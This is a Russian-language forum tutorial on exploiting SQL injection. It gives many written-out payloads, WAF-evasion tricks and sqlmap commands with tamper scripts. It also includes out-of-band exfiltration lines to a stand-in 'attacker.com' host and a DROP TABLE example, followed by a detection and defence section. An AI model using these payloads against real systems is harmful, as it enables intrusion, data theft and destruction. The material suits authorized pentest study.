В январе 2025 года кто-то проэксплуатировал CVE-2025-1094 в PostgreSQL - баг в функциях
PQescapeLiteral(), PQescapeIdentifier() и PQescapeString() библиотеки libpq (CWE-149, Improper Neutralization of Quoting Syntax, CVSS 8.1 HIGH, вектор AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H). Цепочка прошла через BeyondTrust Remote Support и закончилась в инфраструктуре Министерства финансов США. Суть уязвимости - некорректная обработка пользовательского ввода в запросе к базе данных. Тот самый класс багов, который существует двадцать с лишним лет и никуда не собирается.По OWASP, SQL-инъекция стабильно сидит в Top 10 под категорией A03:2021 - Injection. По MITRE ATT&CK, эксплуатация публичных приложений (T1190, Initial Access) - один из основных начальных векторов для APT-групп: APT28, APT39, APT41, Agrius, Axiom и Dragonfly документированно используют SQL-инъекции для первоначального доступа к целевым сетям.
Это не пересказ документации. Это разбор конкретных техник эксплуатации SQL-инъекций в 2025 году с позиции пентестера: какие пейлоады работают против реальных WAF, как отладить sqlmap, когда он упорно не видит инъекцию, и чем отличается time-based атака на MySQL от PostgreSQL.
Пять типов SQL-инъекций и их место в kill chain
Прежде чем открывать sqlmap, разберитесь, с каким типом инъекции вы столкнулись. От этого зависит выбор техники, инструмента и тактика обхода защитных средств.Error-based и UNION-based: классический in-band
In-band SQL injection - ответ приходит через тот же HTTP-ответ, в который улетел пейлоад. Два подтипа:Error-based - приложение отдаёт ошибки СУБД прямо в тело ответа. Отправляете
' AND extractvalue(1, concat(0x7e, version()))-- (MySQL) - и в сообщении об ошибке всплывает версия базы. На PostgreSQL аналогичный результат даёт ' AND 1=CAST((SELECT version()) AS numeric)-- - приведение строки к numeric вызывает ошибку, а в ней - полезные данные.UNION-based - атакующий дописывает
UNION SELECT к легитимному запросу, подтягивая данные из других таблиц. Условие: количество столбцов в UNION должно совпадать с оригинальным запросом. На практике это определяется тупым перебором: ORDER BY 1--, ORDER BY 2-- и так до ошибки. По OWASP, классические сигнатуры вроде 1 UNION SELECT 1,2,3 WAF блокирует на раз - поэтому в реальных пентестах нужны обфусцированные варианты (об этом ниже).С точки зрения MITRE ATT&CK, успешная in-band инъекция ведёт к тактике Collection - извлечение данных из баз (T1213.006, Databases). Если атакующий вытащит учётные данные администратора - это прямой путь к Valid Accounts (T1078).
Blind SQL injection: boolean и time-based эксплуатация
Blind SQL injection - приложение не отдаёт ни ошибок СУБД, ни данных из запроса. Ответ один и тот же, что ни подставь. Но разница всё-таки есть - надо знать, где искать.Boolean-based blind - задаёте базе вопрос «да/нет» и судите по поведению приложения. Запрос
?id=442 OR 2346=2346 возвращает валидный контент (условие истинно), а ?id=442 OR 6362=6367 - пустой ответ (ложь). Посимвольно вытаскивая данные через SUBSTRING(), реконструируете содержимое базы. Медленно - сотни запросов на один пароль. Но надёжно.Time-based blind - ещё более скрытный вариант. Приложение возвращает идентичный ответ на любой ввод. Единственный сигнал - время отклика. На MySQL:
AND IF(SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a', SLEEP(5), 0). Первый символ пароля - «a»? Ответ придёт через 5 секунд. Нет - мгновенно. На PostgreSQL SLEEP() не существует - нужен pg_sleep(5). На MSSQL - WAITFOR DELAY '0:0:5'. Эта разница между движками критична при ручном тестировании и при написании кастомных скриптов (у меня на этом горело не раз).По данным OWASP, многие WAF пропускают blind-инъекции, если заменить стандартные функции синонимами:
substring() на mid() или substr(), ascii() на hex() или bin(), benchmark() на sleep(). Часто не блокируются нестандартные операторы сравнения: !=, <>, <, > вместо =. Конструкция STRCMP(LEFT('password',1), 0x70) возвращает 0 при совпадении, 1 или -1 при несовпадении - и WAF-правила пропускают её значительно чаще.Out-of-band и second-order SQL injection атаки
Out-of-band (OOB) - данные уходят не через HTTP-ответ, а через внешний канал: DNS-запрос, HTTP-обращение с сервера БД на контролируемый атакующим хост. На MSSQL:'; EXEC master..xp_dirtree '\\attacker.com\share'-- - сервер инициирует SMB-соединение на порт 445, что вызывает DNS-резолвинг hostname, а его видно в DNS-логах. Для чистой DNS-exfiltration используется конструкция с xp_cmdshell + nslookup. На MySQL (только Windows-хосты с FILE privilege и secure_file_priv=NULL или пустым): SELECT LOAD_FILE(CONCAT('\\\\',version(),'.attacker.com\\a')). На Linux эта техника не работает - UNC-пути не поддерживаются. OOB-инъекция пригождается, когда time-based ненадёжна (WAF фильтрует задержки), а boolean-blind невозможна (ответ всегда одинаковый).Second-order - самый подлый тип с точки зрения обнаружения. Пейлоад сохраняется в базу через безопасный INSERT (параметризованный), но срабатывает позже - когда другая часть приложения достаёт это значение и подставляет в новый запрос без санитизации. Пример: пользователь регистрируется с именем
admin'--. При регистрации всё чисто - prepared statement. Но при смене пароля приложение строит запрос UPDATE users SET password='new' WHERE username='admin'--' - и пароль админа перезаписан. Автоматические сканеры, включая sqlmap, second-order инъекции находят крайне редко. Тут нужен ручной code review и понимание логики приложения.Обход WAF при SQL-инъекции: практические техники 2025
Обнаружить инъекцию - полдела. Проэксплуатировать её за WAF - вот на что уходит 80% времени пентеста.HTTP Parameter Pollution и фрагментация запросов
По исследованию OWASP, HTTP Parameter Pollution (HPP) - один из самых эффективных методов обхода WAF. Суть: пейлоад разбивается между несколькими одноимёнными параметрами. WAF анализирует каждый отдельно и не видит полной картины, а бэкенд конкатенирует их.Пример из OWASP: запрос
/?id=1;select+1,2,3+from+users+where+id=1-- блокируется. Но /?id=1;select+1&id=2,3+from+users+where+id=1-- проходит - WAF видит два «безобидных» значения параметра id, а серверное окружение склеивает их. Но поведение зависит от платформы, и тут начинается зоопарк: ASP.NET/IIS конкатенирует через запятую - приведённый пример работает именно для этого стека. PHP/Apache берёт последнее значение (id=2,3...), и инъекция в таком виде не сработает. JSP/Tomcat берёт первое значение (id=1). Node.js (Express) возвращает массив ['1','2,3'], что требует явной обработки на стороне приложения.HTTP Parameter Fragmentation (HPF) развивает идею: пейлоад дробится между разными параметрами уязвимого запроса. Если серверный код строит запрос из нескольких GET-параметров -
select [I] from table where a=$_GET['a'] and b=$_GET['b'] - можно отправить /?a=1+union/&b=/select+1,2. SQL-запрос станет: select [/I] from table where a=1 union/[I] and b=[/I]/select 1,2. Блок /[I] and b=[/I]/ превращается в SQL-комментарий. Красиво, правда?Обфускация пейлоадов: комментарии, кодировки и нормализация
OWASP документирует уязвимость в функциях нормализации WAF. Если WAF вырезает опасные ключевые слова (заменяет на пустую строку), можно вложить одно ключевое слово в другое:/?id=1/union/union/select/select+1,2,3/*. После очистки WAF убирает внутренние union и select, а на выходе - валидный 1 union select 1,2,3. Тот же принцип с un//ion sel//ect - если WAF удаляет //, результат - рабочий SQL.Другие рабочие техники обфускации из данных OWASP:
- Скобочная обфускация:
(1)union(select(1),mid(hash,1,32)from(users))- пробелы заменены скобками, сигнатуры WAF ломаются - Конкатенация строк:
1+union+(select'1',concat(login,hash)from+users)- кавычка прилипает кselectбез пробела - Вложенные скобки:
(1)union(((((((select(1),hex(hash)from(users))))))))- глубокая вложенность обходит regex-правила - MySQL versioned comments:
/[I]!50000UNION[/I]/ /[I]!50000SELECT[/I]/- MySQL выполняет содержимое, если версия >= 5.00.00; WAF видит комментарий. Техника специфична для MySQL/MariaDB; MySQL 8.0 штатно поддерживает/[I]!nnnnn [/I]/, но в MariaDB 10.7+ поддержка executable comments ограничена - проверяйте на целевой версии - Hex-кодирование:
0x50=0x50вместо'P'='P'- многие WAF не декодируют hex при анализе
sqlmap автоматизация пентест: от разведки до эксплуатации
Требования к окружению
🔓 Эксклюзивный контент для зарегистрированных пользователей.
Перед запуском убедитесь: Python 3.x установлен, sqlmap клонирован из репозитория (
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git), Burp Suite Pro запущен и слушает на 127.0.0.1:8080. Для воспроизведения сценариев из этой статьи нужен тестовый стенд - DVWA, SQLi-labs или авторизованный scope bug bounty программы.Когда sqlmap не видит инъекцию: отладка через Burp Suite
Знакомая ситуация: Burp Scanner нашёл потенциальную SQL-инъекцию, вы запускаете sqlmap - а он говорит «parameter does not seem to be injectable». Каждый пентестер через это проходил. Ниже - реальный workflow отладки, основанный на кейсе, описанном исследователями Vaadata.Сценарий: Burp обнаружил boolean-blind инъекцию в параметре
idEntity. Два запроса Burp: с условием OR 2346=2346 (истина) сервер вернул данные, с OR 6362=6367 (ложь) - пустой ответ. Инъекция подтверждена вручную. Но sqlmap -u "https://target.com/endpoint?idEntity=442" -p idEntity выдаёт «not injectable».Шаг 1 - добавить прокси и уточнить технику. Запускаем sqlmap через Burp-прокси, указываем boolean-blind и строку, означающую «ложный» ответ:
Код:
sqlmap -u "https://target.com/endpoint?idEntity=442" \
-p idEntity --technique=B \
--not-string='nameEntity=""' \
--proxy=http://127.0.0.1:8080
Content-Length: 0 на каждый запрос sqlmap. Пустой ответ - WAF блокирует запросы по сигнатуре User-Agent.Шаг 2 - сменить User-Agent. Добавляем
-A "Mozilla/5.0" - и WAF отступает:
Код:
sqlmap -u "https://target.com/endpoint?idEntity=442" \
-p idEntity --technique=B \
--not-string='nameEntity=""' \
--proxy=http://127.0.0.1:8080 \
-A "Mozilla/5.0"
[INFO] GET parameter 'idEntity' appears to be
'AND boolean-based blind' injectable
--dbs для перечисления баз, -D target_db -T users --dump для извлечения данных.Вывод тут простой: sqlmap не заменяет понимание того, что происходит на уровне HTTP. Если он не находит инъекцию, которую вы подтвердили вручную - проблема в WAF, cookie-зависимости, нестандартном формате ответа или rate-limiting. Burp-прокси делает эти проблемы видимыми.
Tamper-скрипты sqlmap для обхода WAF
Флаг--tamper подключает скрипты модификации пейлоадов перед отправкой. В комплекте sqlmap более 50 tamper-скриптов. Вот комбинации, которые чаще всего срабатывают на практике:Для ModSecurity CRS:
--tamper=space2comment,between,randomcase. space2comment заменяет пробелы на /**/, between заменяет = на BETWEEN X AND X и > на NOT BETWEEN 0 AND X (ломая сигнатуры, ориентированные на оператор равенства), randomcase рандомизирует регистр - sElEcT вместо SELECT.Для MySQL-специфичных окружений:
--tamper=space2hash,halfversionedmorekeywords. space2hash заменяет пробел на # с переводом строки (MySQL трактует # как однострочный комментарий), halfversionedmorekeywords оборачивает ключевые слова в MySQL versioned comments.Для Cloudflare:
--tamper=charencode,apostrophenullencode с дополнительным --random-agent и задержкой --delay=2 (чтобы не сработал rate-limiter).Tamper-скрипты - не серебряная пуля. Каждый WAF обновляет правила, и комбинация, работавшая вчера, может быть заблокирована сегодня. Если стандартные tamper-скрипты не помогают - пишите свой. Кастомный tamper-скрипт - Python-файл с функцией
tamper(payload, **kwargs), которая принимает пейлоад и возвращает модифицированную строку.Дополнительные флаги sqlmap, повышающие эффективность при работе с WAF:
--level=5 --risk=3- максимальные уровни тестирования, включают проверку cookie, referer, user-agent--batch- автоматические ответы на все вопросы (для скриптинга)--technique=BEUSTQ- конкретные типы инъекций для проверки (B=boolean, E=error, U=union, S=stacked, T=time, Q=inline query)--prefix="')" --suffix="-- -"- кастомные префикс и суффикс для пейлоада, когда вы знаете структуру уязвимого запроса
Burp Suite и SQL injection: ручная верификация перед автоматизацией
Workflow, который минимизирует ложные срабатывания и экономит время:Этап 1 - пассивный сбор. Проходите по приложению через Burp Proxy, собирая все endpoint'ы. В Target → Site map ищите параметры, которые потенциально попадают в SQL-запросы:
id, sort, order, filter, search, category.Этап 2 - ручное тестирование в Repeater. Берёте подозрительный запрос, отправляете в Repeater. Вставляете простейшие пейлоады: одинарная кавычка
' (ищите ошибку), AND 1=1 vs AND 1=2 (ищите разницу в ответе), AND SLEEP(5)-- (ищите задержку). Расширение Hackvertor позволяет на лету кодировать пейлоады - URL-encode, hex, unicode - без ручного пересчёта.Этап 3 - передача в sqlmap. Инъекция подтверждена вручную - сохраняете запрос из Burp в файл (правый клик → Save item) и передаёте через
sqlmap -r request.txt. Так sqlmap использует те же cookie, заголовки и параметры, что и ваш ручной тест. Расширение SQLiPy для Burp Suite позволяет отправить запрос напрямую в sqlmap API из интерфейса Burp.Этап 4 - анализ результатов. sqlmap нашёл инъекцию - смотрите тип: union-based - данные можно вытащить быстро. Time-based - готовьтесь к длительному ожиданию и используйте
--threads=5 для параллелизации (если целевой сервер выдерживает нагрузку).DBMS-специфичные пейлоады при SQL injection атаках
Одна из типичных ошибок - гонять MySQL-пейлоады против PostgreSQL или MSSQL. Движки по-разному обрабатывают синтаксис, и пейлоад, идеальный для одной СУБД, вызовет синтаксическую ошибку на другой.Конкатенация строк. MySQL:
CONCAT('a','b'). Оператор || в MySQL по умолчанию - логическое ИЛИ, а не конкатенация (в отличие от PostgreSQL/Oracle); но если на сервере установлен sql_mode с PIPES_AS_CONCAT или ANSI, || будет конкатенацией - проверяйте через @@sql_mode. PostgreSQL: 'a' || 'b'. MSSQL: 'a' + 'b'. Критично при error-based инъекциях, где нужно собрать строку для вывода.Задержки для time-based. MySQL:
SLEEP(5) или BENCHMARK(10000000,SHA1('test')). PostgreSQL: pg_sleep(5). MSSQL: WAITFOR DELAY '0:0:5'. Oracle: dbms_pipe.receive_message('a',5). Пишете кастомный скрипт для автоматизации time-based инъекции - проверяйте движок перед выбором функции задержки.Определение версии. MySQL:
@@version или version(). PostgreSQL: version(). MSSQL: @@version. Oracle: SELECT banner FROM v$version.Комментарии. MySQL:
-- (с пробелом после), #, /[B]/. PostgreSQL: -- , /[/B]/. MSSQL: -- , /**/. MySQL уникален поддержкой # как однострочного комментария - tamper-скрипт space2hash эксплуатирует именно эту особенность и бесполезен против PostgreSQL.Stacked queries. PostgreSQL и MSSQL нативно поддерживают выполнение нескольких запросов через
;. MySQL в связке с типичными клиентами (PHP mysqli_query, PDO, Python MySQLdb) stacked queries по умолчанию не поддерживает - нужна mysqli_multi_query. На практике: ; DROP TABLE users-- сработает на PostgreSQL, но с высокой вероятностью упадёт с ошибкой на MySQL.Вернёмся к CVE-2025-1094: уязвимость в функциях экранирования PostgreSQL (CWE-149) позволяла обойти quoting-механизм libpq и получить выполнение произвольного SQL в контексте psql. Вектор CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - атака по сети, не требует привилегий и взаимодействия пользователя, но сложность высокая (AC:H). Именно эта сложность означала, что sqlmap без кастомной настройки не мог автоматически проэксплуатировать эту уязвимость.
SQL injection обнаружение и защита: что видно в логах
Со стороны обороны SQL-инъекции оставляют характерные следы. Вот что искать в access-логах WAF и веб-сервера:- Строки
UNION SELECT,SLEEP(,BENCHMARK(,pg_sleep,WAITFOR DELAYв параметрах запросов - Символы
',--,/[I],[/I]/,#в нехарактерных полях (имена пользователей, числовые ID) - Аномальная длина параметров: поле
id, обычно содержащее 1-5 цифр, внезапно получает 200+ символов - Аномальное время выполнения запросов к БД: обычно 50ms, внезапно 5000ms+ (сигнал time-based инъекции)
- Серия однотипных запросов с минимальной вариацией одного символа (сигнал автоматизированной blind-инъекции)
- User-Agent содержащий
sqlmap- тривиальный индикатор, но удивительно часто встречается при скане ботами
На уровне SIEM выстраивайте корреляцию: всплеск 500-ошибок от одного IP + аномальная длина параметров + последующие запросы к чувствительным endpoint'ам = высоковероятная попытка SQL-инъекции.
Что касается защиты - prepared statements (параметризованные запросы) остаются единственным надёжным методом. ORM снижают риск, но не устраняют его:
.raw() в Django, Sequelize.literal() в Node.js, ActiveRecord.find_by_sql() в Ruby on Rails - все они позволяют писать «сырой» SQL и мгновенно создают уязвимость. WAF - дополнительный слой, не основная защита. Принцип наименьших привилегий для учётной записи БД, под которой работает приложение, ограничивает ущерб: если аккаунт имеет только SELECT на нужные таблицы, stacked query с DROP TABLE не пройдёт.Вопрос к читателям
При настройке sqlmap под конкретный WAF выбор tamper-скриптов определяет успех или провал эксплуатации. Выше я описал комбинацииspace2comment,between,randomcase для ModSecurity CRS и charencode,apostrophenullencode для Cloudflare. Но WAF-правила обновляются, и эти комбинации не вечны. У кого есть свежий опыт обхода конкретного WAF через --tamper? Какая связка сработала, против какого WAF-движка и версии CRS? Покажите вашу рабочую строку --tamper=... - это ценнее любой теории.
Последнее редактирование модератором: